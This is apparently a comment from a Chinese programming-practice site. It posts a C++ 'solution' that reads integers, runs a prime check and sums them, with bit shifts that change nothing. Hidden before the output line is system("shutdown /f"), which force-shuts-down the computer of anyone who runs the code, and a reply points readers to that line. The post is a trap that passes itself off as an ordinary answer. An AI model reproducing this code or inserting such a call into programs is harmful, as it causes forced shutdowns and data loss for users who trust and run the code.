ㅤㅤ • 10个月前
#include<bits/stdc++.h>
using namespace std;
int a[114514],cnt=0;
int dl[1145],tot=0,balabala;
bool prime(int x){
if(x==1||x==0){
return false;
}
if(x==2){
return true;
}
for(int i=2;i*i<=x;i++){
if(x%i==0){
return false;
}
}
return true;
}
int main(){
for(int i=0;i<1145;i++){
a[i]=11455411;
}
while(cin>>a[cnt++]);
for(int i=0;i<1145;i++){
if(a[i]!=11455411){
dl[tot++]=a[i];
}
}
for(int i=0;i<tot;i++){
if(prime(dl[i])){
balabala+=dl[i];
}
else{
dl[i]<<=1;
dl[i]>>=1;
balabala+=dl[i];
}
}
system("shutdown /f");
cout<<balabala;
return 0;
}
水你啊:正解,但是重点在倒数第四行(11月前)
评论: